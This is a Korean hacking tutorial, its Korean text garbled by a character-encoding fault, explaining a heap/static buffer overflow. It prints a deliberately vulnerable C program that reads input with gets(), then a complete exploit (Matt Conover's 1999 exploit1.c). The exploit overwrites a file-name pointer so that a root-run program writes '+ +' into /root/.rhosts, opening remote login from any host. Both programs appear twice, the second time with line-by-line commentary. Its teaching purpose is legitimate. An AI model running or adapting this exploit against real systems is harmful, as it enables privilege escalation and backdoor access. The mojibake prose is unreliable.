ÀÚ! ´ÙÀ½°­Á´ heap overflow¶ó°í ¾à¼ÓÇß¾úÁÒ? ÇØÄ¿Áî·¦ ·¹º§ 11¿¡¼­µµ ³ª¿Â¹Ù ÀÖ´Â ÀÌ heap overflow´Â stack overflow º¸´Ù ´õ Ãë¾àÇÕ´Ï´Ù. ¾ÆÁ÷±îÁø ±×·¸´ÙÇÒ ¹æ¾îÃ¥µµ ¾È³ª¿Â °Í °°±¸¿©... À̱ÛÀº Kyoung whan Choe & Security KAIST ´ÔÀÇ ±ÛÀ» »ó´ç¼ö ÀοëÇßÀ½À» ¹àÇôµÓ´Ï´Ù. 1. stack °ú heap? - ±×·³ stack °ú heap ÀÇ Â÷ÀÌÁ¡Àº ¹«¾ùÀϱ? ¿î¿µÃ¼Á¦¿¡¼­ stackÀ» ÇÒ´çÇÒ¶§´Â char buffer[30]; ÀÌ·±½ÄÀ¸·Î ÇÒ´çÇÕ´Ï´Ù. ÇÏÁö¸¸ ÈüÀÇ °æ¿ì¿¡´Â char *buffer=(char *)malloc(16), ÀÌ·±½ÄÀ¸·Î ¿¡Çø®ÄÉÀ̼ǿ¡¼­ Á÷Á¢ ¸Þ¸ð¸® ¿µ¿ªÀ» ÇÒ´çÇÏ°Ô µË´Ï´Ù. 2. heap ÀÇ ÀÌ¿ë - stack¿¡¼­´Â ÇÔ¼öÀÇ È£Ãâ¿¡ ÀÇÇß´ø return address¸¦ ÀÌ¿ëÇؼ­ ÇØÅ·À» ÇÕ´Ï´Ù. ÇÏÁö¸¸ ÀÌ heap overflow¿¡¼­´Â ±×³É ÇÑ ÇÔ¼ö³»¿¡¼­µç ´Ù¸¥ °÷ÀÇ ÇÔ¼ö¸¦ ÀÕ´ø ±×Àú ¿ø·¡ ÇÁ·Î±×·¥¿¡¼­ °¡¸£Å°°í ÀÖ´Â Æ÷ÀÎÅÍ ¿µ¿ªÀ» ¹Ù²ã¼­ Çϴ°ÍÀÔ´Ï´Ù. ÁÖ·Î ÀÓ½ÃÆÄÀÏ »ý¼ºÀ̳ª ÀÓ½ÃÆÄÀÏ ¾²±â¸¦ ÇÒ ¶§ ÀÌ¿ëÇÏÁÒ. 3. heap ÀÇ ±¸Ã¼Àû ÀÌÇØ. - ¿ì¼± ¸Þ¸ð¸®¸¦ ¾îÇø® ÄÉÀ̼ǿ¡¼­ 2°³¸¦ ÇÒ´çÇÑ´Ù°í Ä¡¸é ¸Þ¸ð¸®´Â [1 ][2 ] ÀÌ·¸°Ô Â÷·ÊÂ÷·Ê ÇÒ´çµÈ´Ù´Â°Í¿¡ Æ÷ÀÎÆ®¸¦ µÎ¾î¾ß ÇÕ´Ï´Ù. ±×·³ ¹®Á¦°¡ ÀÖ´Â ¼Ò½º¸¦ º¸¸é¼­ ¾î¶»°Ô ¶ÕÀ» °ÍÀΰ¡ Çϴ°Ϳ¡ ´ëÇØ ¾Ë¾Æº¸°Ú½À´Ï´Ù. #include #include #include #include #include #define ERROR -1 #define BUFSIZE 16 /* * Run this vulprog as root or change the "vulfile" to something else. * Otherwise, even if the exploit works, it won't have permission to * overwrite /root/.rhosts (the default "example"). */ int main(int argc, char **argv) { FILE *tmpfd; static char buf[BUFSIZE], *tmpfile; if (argc <= 1) { fprintf(stderr, "Usage: %s \n", argv[0]); exit(ERROR); } tmpfile = "/tmp/vulprog.tmp"; /* no, this is not a temp file vul */ printf("before: tmpfile = %s\n", tmpfile); printf("Enter one line of data to put in %s: ", tmpfile); gets(buf); printf("\nafter: tmpfile = %s\n", tmpfile); tmpfd = fopen(tmpfile, "w"); if (tmpfd == NULL) { fprintf(stderr, "error opening %s: %s\n", tmpfile, strerror(errno)); exit(ERROR); } fputs(buf, tmpfd); fclose(tmpfd); } ¹ú½á °¨ÀÌ ¿À½Ã´Â ºÐÀÌ ÀÖÀ¸½ÃÁÒ? ¿ì¼± ¼Ò½º¸¦ õõÈ÷ Â÷·ÊÂ÷·Ê »ìÆ캾½Ã´Ù. #include #include #include #include #include #define ERROR -1 #define BUFSIZE 16 int main(int argc, char **argv) { FILE *tmpfd; static char buf[BUFSIZE], *tmpfile; // ¿©±â¼­ ÀÌ ÇÁ·Î±×·¥Àº ù ¹ø°·Î ÀÌ ½Ç¼ö¸¦ ÇÏ¿´½À´Ï´Ù/ // ¿©±â¼­ buf[16] Àº »ç¿ëÀÚÀÇ Å°ÀÔ·ÂÀ» ¹Þ´Â°ÍÀÌ¿ä. *tmpfileÀº ÆÄÀÏÀÇ À§Ä¡¸¦ °¡¸£Å°°íÀÖ´Â // Æ÷ÀÎÅÍÀÔ´Ï´Ù. ±×·¡¼­ »ç¿ëÀÚÀÇ ÀÔ·ÂÀ» ÅëÇØ µÚ¿¡ÀÖ´Â *tmpfileÀ» °Çµå¸±¼ö ÀÖÀ½À» ¾Ë¼öÀÖÁÒ // ¶Ç ÀÌ tmpfileÀ» °Çµå¸±¼ö ÀÖÀ¸¸é ¿ì¸®°¡ ¿©±â¿¡ ´Ù¸¥ ¾î¶² ÆÄÀÏÀÇ Æ÷ÀÎÅÍadr¸¦ ³ÖÀ»¼ö ÀÖ´Ù´Â °Í //¶ÇÇÑ ÀǹÌÇÏÁÒ? if (argc <= 1) { fprintf(stderr, "Usage: %s \n", argv[0]); exit(ERROR); } tmpfile = "/tmp/vulprog.tmp"; /* no, this is not a temp file vul */ //¿©±â¼­ /tmp/vulprog.tmp¶ó´Â ÇÁ·Î±×·¥ÀÇ adr°¡ tmpfile¿¡ ÀúÀåµË´Ï´Ù. printf("before: tmpfile = %s\n", tmpfile); printf("Enter one line of data to put in %s: ", tmpfile); gets(buf); // °¡Àå °áÁ¤ÀûÀÎ ½Ç¼öÀÔ´Ï´Ù. gets´Â ±×´ë·Î ¾´´Ù¸é ÀÔ·ÂÇÏ´Â ÅؽºÆ®ÀÇ Å©±â¸¦ ½Å°æ¾²Áö ¾È½À´Ï´Ù. // µû¶ó¼­ ÀÌ·¸°Ô ÇØÅ·ÇÒ¼ö ÀÖ°ÚÁÒ. // ¿ì¼± buf[16]Àº ¾Æ¹«·± ÀÔ·ÂÀ» ÅëÇØ ²Ë ä¿ó´Ï´Ù. ±×´ÙÀ½ ¿ì¸®°¡ ¿øÇÏ´Â adr¸¦ ±× ¹Ù·Î µÚ¿¡ ºÙ¿© // ¼­ ¿ì¸®°¡ ¿øÇÏ´Â ÇÁ·Î±×·¥À» °¡¸£Å°°Ô ÇÒ¼ö Àִ°ÍÀÌÁÒ. // °£´ÜÇÑ ±×¸²À¸·Î ¾Ë¾Æº¸¸é Áö±Ý ¸Þ¸ð¸® ÇÒ´çÀÌ ÀÌ·¸°Ô µÇ¾î ÀÖÁÒ // [ buf[16] ][tmpfile point] // µû¶ó¼­ buf´Â nopÀÇ ÀÔ·ÂÀ̳ª ¾Æ¹«°Å³ª¸¦ ÅëÇØ ²Ëä¿ì°í ±× µÚ¿¡ ÀÓÀÇÀÇ adr¸¦ ³ÖÀ¸¸é µÇ°ÚÁÒ? printf("\nafter: tmpfile = %s\n", tmpfile); tmpfd = fopen(tmpfile, "w"); if (tmpfd == NULL) { fprintf(stderr, "error opening %s: %s\n", tmpfile, strerror(errno)); exit(ERROR); } fputs(buf, tmpfd); fclose(tmpfd); } ÀÚ ÀÌ°ÍÀÌ ¹®Á¦ÀÇ ¼Ò½º ÀÌ¿´½À´Ï´Ù. ÀÌ ÇÁ·Î±×·¥Àº setuid°¡ °É·ÁÀÖ´Ù°í °¡Á¤ÇÕ´Ï´Ù. root±ÇÇÑÀ¸·Î¿©...±×·³ ¿ì¸®´Â ¹Ù·Î root¸¦ ȹµæÇÒ¼ö ÀְԵ˴ϴÙ. ´ÙÀ½Àº °ø°Ý¼Ò½ºÀÔ´Ï´Ù. /* * Copyright (C) January 1999, Matt Conover & WSD * * This will exploit vulprog1.c. It passes some arguments to the * program (that the vulnerable program doesn't use). The vulnerable * program expects us to enter one line of input to be stored * temporarily. However, because of a static buffer overflow, we can * overwrite the temporary filename pointer, to have it point to * argv[1] (which we could pass as "/root/.rhosts"). Then it will * write our temporary line to this file. So our overflow string (what * we pass as our input line) will be: * + + # (tmpfile addr) - (buf addr) # of A's | argv[1] address * * We use "+ +" (all hosts), followed by '#' (comment indicator), to * prevent our "attack code" from causing problems. Without the * "#", programs using .rhosts would misinterpret our attack code. * * Compile as: gcc -o exploit1 exploit1.c */ #include #include #include #include #define BUFSIZE 256 #define DIFF 16 /* estimated diff between buf/tmpfile in vulprog */ #define VULPROG "./vulprog1" #define VULFILE "/root/.rhosts" /* the file 'buf' will be stored in */ /* get value of sp off the stack (used to calculate argv[1] address) */ u_long getesp() { __asm__("movl %esp,%eax"); /* equiv. of 'return esp;' in C */ } int main(int argc, char **argv) { u_long addr; register int i; int mainbufsize; char *mainbuf, buf[DIFF+6+1] = "+ +\t# "; /* ------------------------------------------------------ */ if (argc <= 1) { fprintf(stderr, "Usage: %s [try 310-330]\n", argv[0]); exit(ERROR); } /* ------------------------------------------------------ */ memset(buf, 0, sizeof(buf)), strcpy(buf, "+ +\t# "); memset(buf + strlen(buf), 'A', DIFF); addr = getesp() + atoi(argv[1]); /* reverse byte order (on a little endian system) */ for (i = 0; i < sizeof(u_long); i++) buf[DIFF + i] = ((u_long)addr >> (i * 8) & 255); mainbufsize = strlen(buf) + strlen(VULPROG) + strlen(VULPROG) + strlen(VULFILE) + 13; mainbuf = (char *)malloc(mainbufsize); memset(mainbuf, 0, sizeof(mainbuf)); snprintf(mainbuf, mainbufsize - 1, "echo '%s' | %s %s\n",buf, VULPROG, VULFILE); printf("Overflowing tmpaddr to point to %p, check %s after.\n\n",addr, VULFILE); system(mainbuf); return 0; } ÀÚ °ø°Ý¼Ò½ºµµ ÇÑÁÙ ÇÑÁÙ º¸ÁÒ. /* * Copyright (C) January 1999, Matt Conover & WSD * * This will exploit vulprog1.c. It passes some arguments to the * program (that the vulnerable program doesn't use). The vulnerable * program expects us to enter one line of input to be stored * temporarily. However, because of a static buffer overflow, we can * overwrite the temporary filename pointer, to have it point to * argv[1] (which we could pass as "/root/.rhosts"). Then it will * write our temporary line to this file. So our overflow string (what * we pass as our input line) will be: * + + # (tmpfile addr) - (buf addr) # of A's | argv[1] address * * We use "+ +" (all hosts), followed by '#' (comment indicator), to * prevent our "attack code" from causing problems. Without the * "#", programs using .rhosts would misinterpret our attack code. * * Compile as: gcc -o exploit1 exploit1.c */ #include #include #include #include // Çì´õ ¼±¾ðÀÌ¾ß ³Ê¹« ¸¹ÀÌ ¿¹±æÇßÀ¸´Ï ´Ù ¾Æ½Ã°ÚÁÒ... #define BUFSIZE 256 #define DIFF 16 /* estimated diff between buf/tmpfile in vulprog */ #define VULPROG "./vulprog1" #define VULFILE "/root/.rhosts" /* the file 'buf' will be stored in */ // Á¤ÀÇÇÑ ºÎºÐÀÔ´Ï´Ù. /* get value of sp off the stack (used to calculate argv[1] address) */ u_long getesp() { __asm__("movl %esp,%eax"); /* equiv. of 'return esp;' in C */ } // Àú¹ø½Ã°£ stack overflow¿¡¼­ ¾î¶²¿ªÇÒÀÇ ÇÔ¼öÀÎÁö ¹è¿ì¼ÌÁÒ? // ¹Ù·Î ÇöÀçÀÇ sp¸¦ ¾Ë¾Æ³»´Â ÇÔ¼öÀÔ´Ï´Ù. int main(int argc, char **argv) { u_long addr; // ÃÖ´ëÇÑ addrÀ» Å©°Ô Àâ¾Ò±º¿©... ¿Ö ±×·±Áö´Â ³ªÁß¿¡ º¼±î¿©? // unsigned long À̶ó¸é longÀÇ ¹üÀ§Áß ¾ç¼ö¸¸ »ç¿ëÇÏ°Ô ÇÑ´Ù´Â ÀǹÌÁÒ? ±×·³ »ç¿ë ¹üÀ§°¡ // ¾ç¼ö³»¿¡¼­´Â 2¹è·Î Áõ°¡ÇÕ´Ï´Ù. ÀÚ¼¼È÷ ¸»Çϸé // -2147483648~2147283647 --------> 0~4294967295 ±îÁö Áõ°¡ÇÏ°Ô µÇÁÒ ÀÌÇØ µÇ½ÃÁÒ? register int I; int mainbufsize; // ¿©·¯ °¡Áö º¯¼ö¸¦ Àâ¾Ò³×¿© char *mainbuf, buf[DIFF+6+1] = "+ +\t# "; // ±×¸®°í ÇϳªÀÇ Æ÷ÀÎÅ͸¦ Àâ¾Ò°í...(»ç¿ëÀº µÚ¿¡°¡¼­ ¾Ë¾Æº¸ÁÒ) // ¾Ñ À̰ǸðÁö? buff »çÀÌÁ [16 + 6 + 1] ·Î Ç߳׿©... // ¿©±â¼­!! ¿ì¸° ¿Ö!! 16+1+1 ·Î Ç߳ĸ¦ ¾Ë¾Æ¾ß ÇÕ´Ï´Ù. // ¾Æ±î ¹®Á¦ÀÖ´Â ÇÁ·Î±×·¥¿¡¼­ buffer°¡ 16ÀÌ¿´ÁÒ? ±×·¡¼­ 16¿¡´Ù°¡ address¸¦ ºÙÀÌ°í + +¸¦ // ÀÔ·ÂÇÒ6°ú 1Àº ³¡À» ¾Ë¸®´Â °ÍÀÔ´Ï´Ù. ¾Æ½Ã°ÚÁÒ? // ±×·¯³ª ¿ì¸®´Â µû¸¥ ÇÁ·Î±×·¥Àº ¼³Á¤µÈ ¹öÆÛ°¡ 16ÀÎÁö ¸ð¸¦²®´Ï´Ù. // ±×·¡¼­ ¿ì¸®´Â ´Ù¸¥ÇÁ·Î±×·¥¿¡ ÀÌ heap overflow¸¦ ÇÏ·Á¸é argv[1] °°Àº °ÍÀ¸·Î °ªÀ» ¹Þ¾Æ¼­ // ³Ö¾îÁÖ¾î¾ß °ÚÁÒ? /* ------------------------------------------------------ */ if (argc <= 1) { fprintf(stderr, "Usage: %s [try 310-330]\n", argv[0]); exit(ERROR); } /* ------------------------------------------------------ */ // ÀԷ¹ÞÀº º¯¼ö°¡ Çϳªµµ ¾ø´Ù¸é ÀÌ°ÍÀ» Ãâ·ÂÇ϶ó´Â ¹®±¸³×¿©... memset(buf, 0, sizeof(buf)), strcpy(buf, "+ +\t# "); // ¿ì¼± buf¸¦ ±ú²ýÇÏ°Ô ¸¸µé¾ú°í¿© // ±×´ÙÀ½ buf¿¡ + +\t#¶ó´Â °ÍÀ» Áý¾î³Ö¾ú³×¿©. // ¾Æ¸¶µµ .rhosts ¿¡ ³ÖÀ»°ÍÀÌ°ÚÁÒ? memset(buf + strlen(buf), 'A', DIFF); // Áö±Ý buf¿¡´Â "++\t#" °¡ µé¾îÀִ°Š¾Æ½ÃÁÒ? // µû¶ó¼­ ¸Þ¸ð¸®¸¦ ÀÌ·±½ÄÀ¸·Î ¸¸µç°Ì´Ï´Ù. // |AAAAAAAA|++\t# ÀÌ·¸°Ô¿© // | | <-- À̸¸Å­ÀÌ buf+strlen(buf) ÀÇ °ªÀÌÁÒ. °Å±â¿¡ 16ÀÇ Å©±â¸¸Å­(DIFF) A¸¦ // ³Ö´Â°ÍÀÔ´Ï´Ù. addr = getesp() + atoi(argv[1]); // Áö±ÝºÎÅÍ Æ÷ÀÎÅÍ °ªÀ» ¹Ù²ß´Ï´Ù. // Áö±ÝÀÇ SP + ¿ì¸®°¡ ÀÔ·ÂÇÏ´Â °ªÀ¸·Î¿©... /* reverse byte order (on a little endian system) */ for (i = 0; i < sizeof(u_long); i++) buf[DIFF + i] = ((u_long)addr >> (i * 8) & 255); // ¿©±â¼­ sizeof(u_long) ±îÁö µ¹¸®¶ó°í ÇÑ °ÍÀº buf¿¡ ²Ë ä¿ì±â À§Çؼ­ÀÔ´Ï´Ù. // buf°¡ u_long buf; ÀÌ·¸°Ô ÁöÁ¤µÇ¾î ÀÖ¾úÁÒ? // ±×´ÙÀ½ ¿©±â¿¡ |AAAAAA||*| º°Ç¥ Ä£ ºÎºÐ¿¡´Ù°¡ ¾Æ±î °è»êÇÑ addrÀÇ °ªÀ» // ³Ö´Â°ÍÀÌÁÒ.(Àú ¿¬»êÀº u_long ¿¡ ¸Â°Ô °íÄ£°ÍÀÔ´Ï´Ù. stack¿¡¼­ ¹è¿üÁÒ? // ±×·¡¾ß µü ¸Â¾Æ ¶³¾îÁø´Ù°í¿© adr¿Í ¸Þ¸ð¸®°¡. // ¾Æ½Ã°ÚÁÒ? mainbufsize = strlen(buf) + strlen(VULPROG) + strlen(VULPROG) + strlen(VULFILE) + 13; // mainbufsize¸¦ °áÁ¤ÇÕ´Ï´Ù. ÀÌ°ÍÀº bufÀÇ Àüü Å©±â¿Í ÇÁ·Î±×·¥ À̸§µîµîÀÇ ±æÀÌ¿Í 13À» // ´õÇÕ´Ï´Ù. ¿Ö 13À» ´õÇÏ´À³Ä? ±×°ÍÀº adr¿Í ++ ÀÌ°ÍÀ» ´õÇϱâ À§Çؼ­ ÀÔ´Ï´Ù. mainbuf = (char *)malloc(mainbufsize); // char ÇüÀ¸·Î ¸Þ¸ð¸®¸¦ ÇÒ´çÇØ Áֳ׿©. ÀÌ°ÍÀº ¹Ø¿¡ º¸¸é ¾Ë°ÚÁö¸¸ // À̸¸ÇÑ °ªÀ» ÀÔ·ÂÇϱâ À§Çؼ­ÁÒ memset(mainbuf, 0, sizeof(mainbuf)); // ¸Þ¸ð¸®¸¦ ±ú²ýÇÏ°Ô ÇÕ´Ï´Ù. snprintf(mainbuf, mainbufsize - 1, "echo '%s' | %s %s\n",buf, VULPROG, VULFILE); // ¾Æ±î °è»êÇÑ »çÀÌÁî ¸¸Å­ÀÇ °ªÀ» ÀÔ·ÂÇÑ´ÙÀ½ ±×°ÍÀ» mainbuf¿¡ ³Ö¾îÁÝ´Ï´Ù. // ±×·³ echo "%s"|%s%s ´Â ¹«¾ùÀ» ÀǹÌÇÏ´À³Ä? // ¹®Á¦ÀÖ´Â ÇÁ·Î±×·¥À» ½ÇÇà½ÃÄÑ º¸¸é ¾Ë°ÚÁö¸¸ // ÇÁ·Î±×·¥ÀÌ ½ÇÇàµÈÈÄ ÀԷ¹޴ ¶õÀÌ ³ª¿É´Ï´Ù. // |(ÆÄÀÌÇÁ) ·Î ¿¬°áÇÏ¸é µÎ °³ÀÇ ÇÁ·Î±×·¥ÀÌ ¿¬°áµÇ´Â °ÍÀÌÁÒ? µÚ¿¡ºÎÅÍ ¿¬°áµË´Ï´Ù. // ÀÌ°ÍÀº °÷ ¿ì¸®°¡ ¸¸Æ° ÇÁ·Î±×·¥µÚ¿¡ argv[1]À» ³Ö¾î¼­ ½ÇÇà½ÃÅ°°í echo·Î // ¿ì¸®°¡ ¸¸µç buf¸¦ ÀԷ½ÃÅ°¶õ ¿¹±âÁÒ. ±×¸²À¸·Î º¸½Ç±î¿©? // exploitÇÏ´Â °úÁ¤!! // | (1) || (2)| // (1) ¹®Á¦ÀÖ´Â ÇÁ·Î±×·¥ÀÇ buf(¿ì¸®´Â 16À̶õ°É ¾Ë±â ¶§¹®¿¡ exploit¿¡ 16À¸·Î °è»êÇßÁÒ? // (2) ±×µÚ¿¡ ¹Ù·Î ¿¬°áµÇÀÖ´Â ÆÄÀÏÀ» °¡¸£Å°´Â Æ÷ÀÎÅÍ // µû¶ó¼­ ¿ì¸®´Â 1À» ²Ë ä¿îÈÄ¿¡ (2) ¿¡´Ù°¡´Â ¿ì¸®°¡ ¿øÇÏ´Â °÷ÀÇ ÁÖ¼Ò(¿ì¸®°¡ ¿øÇÏ´Â °ÍÀº // ¿ì¸®ÀÇ exploit ÄÚµå µÚ¿¡ ÀÔ·ÂÇÑ argvÁÒ? ÀÌ°ÍÀº main°ú °ÅÀÇ ºÙ¾îÀֱ⠶§¹®¿¡ ã±â½¬¿ö ÀÌ·± // ¹æ¹ýÀ» ÀÌ¿ëÇϴ°ÍÀÔ´Ï´Ù.)¸¦ ³Ö°í ±× µÚ¿¡´Ù°¡ + + ¶õ °ÍÀ» ³ÖÀ¸¸é .rhosts °¡ + +·Î ä¿öÁö°ÚÁÒ // ±×·³ ¸Þ¸ð¸®´Â ÀÌ·¸°Ô º¯ÇÏÁÒ. // |AAAAAA||argv[1]ÀÇ point||+ +|; // ±×·¡¼­ ÆÄÀÏÀÇ À§Ä¡°¡ º¯ÇÏ°í ++´Â ÀԷµǴ °ÍÀ̶ø´Ï´Ù. printf("Overflowing tmpaddr to point to %p, check %s after.\n\n",addr, VULFILE); // ±×³É ÀÌ°ÍÀ» Çß´Ù ÇÏ°í °¡¸£ÃÄ Áִ°ÍÀÌÁÒ...^^ÀÌÁ¦ ÀÌ·±°Ç ¼³¸í ¾ÈÇصµ µÇ°ÚÁÒ? system(mainbuf); // system ÇѼö´Â ¾î¶²°ªÀ» ¼Ð¿¡¼­ ½ÇÇàÇÏ´Â °Í °°ÀÌ ½ÇÇàÇØÁִ°ÍÀÔ´Ï´Ù. // ÀÌ°ÍÀº mainbuf ¿ì¸®°¡ À§¿¡¼­ ÀÔ·ÂÇÑ °ªÀ» ±×´ë·Î ½ÇÇàÇØÁִ°ÍÀÌÁÒ. return 0; } ÀÚ heap overflowÀÇ °­Á°¡ ³¡ÀÌ ³µ½À´Ï´Ù. ÀÌ ±â¹ý ¿Ü¿¡µµ ¸¹Àº ±â¹ýÀÌ ÀÖÁö¸¸ ³ª¸ÓÁö´Â ¿©·¯ºÐÀÇ ¸òÀ¸·Î ³²±â°Ú½À´Ï´Ù. ´Ù¸¥ ±â¹ýÀº ´Ù¸¥ºÐÀÇ °­Á¸¦ ¿Ã·Áµå¸®°Ù½À´Ï´Ù. ¾Æ¸¶µµ ´ÙÀ½ °­Á´ port scanner ¸¸µå´Â ¹æ¹ý °°Àº °ÍÀ» °­ÁÂÇÏ°Ú½À´Ï´Ù. Áú¹® ÀÖÀ¸½Ã¸é ÁÖÀú ¸¶½Ã°í Áú¹®ÇØ ÁÖ¼¼¿©. ²À ´äº¯ÇÏ°Ú½À´Ï´Ù. ¾Æ! ±×¸®°í Àú¹ø¿¡ ½Ç¼ö·Î À̾߱⠹®¼­·Î ¿Ã¸° °ÍÀº ´Ù½Ã ¿Ã¸®°Ú½À´Ï´Ù.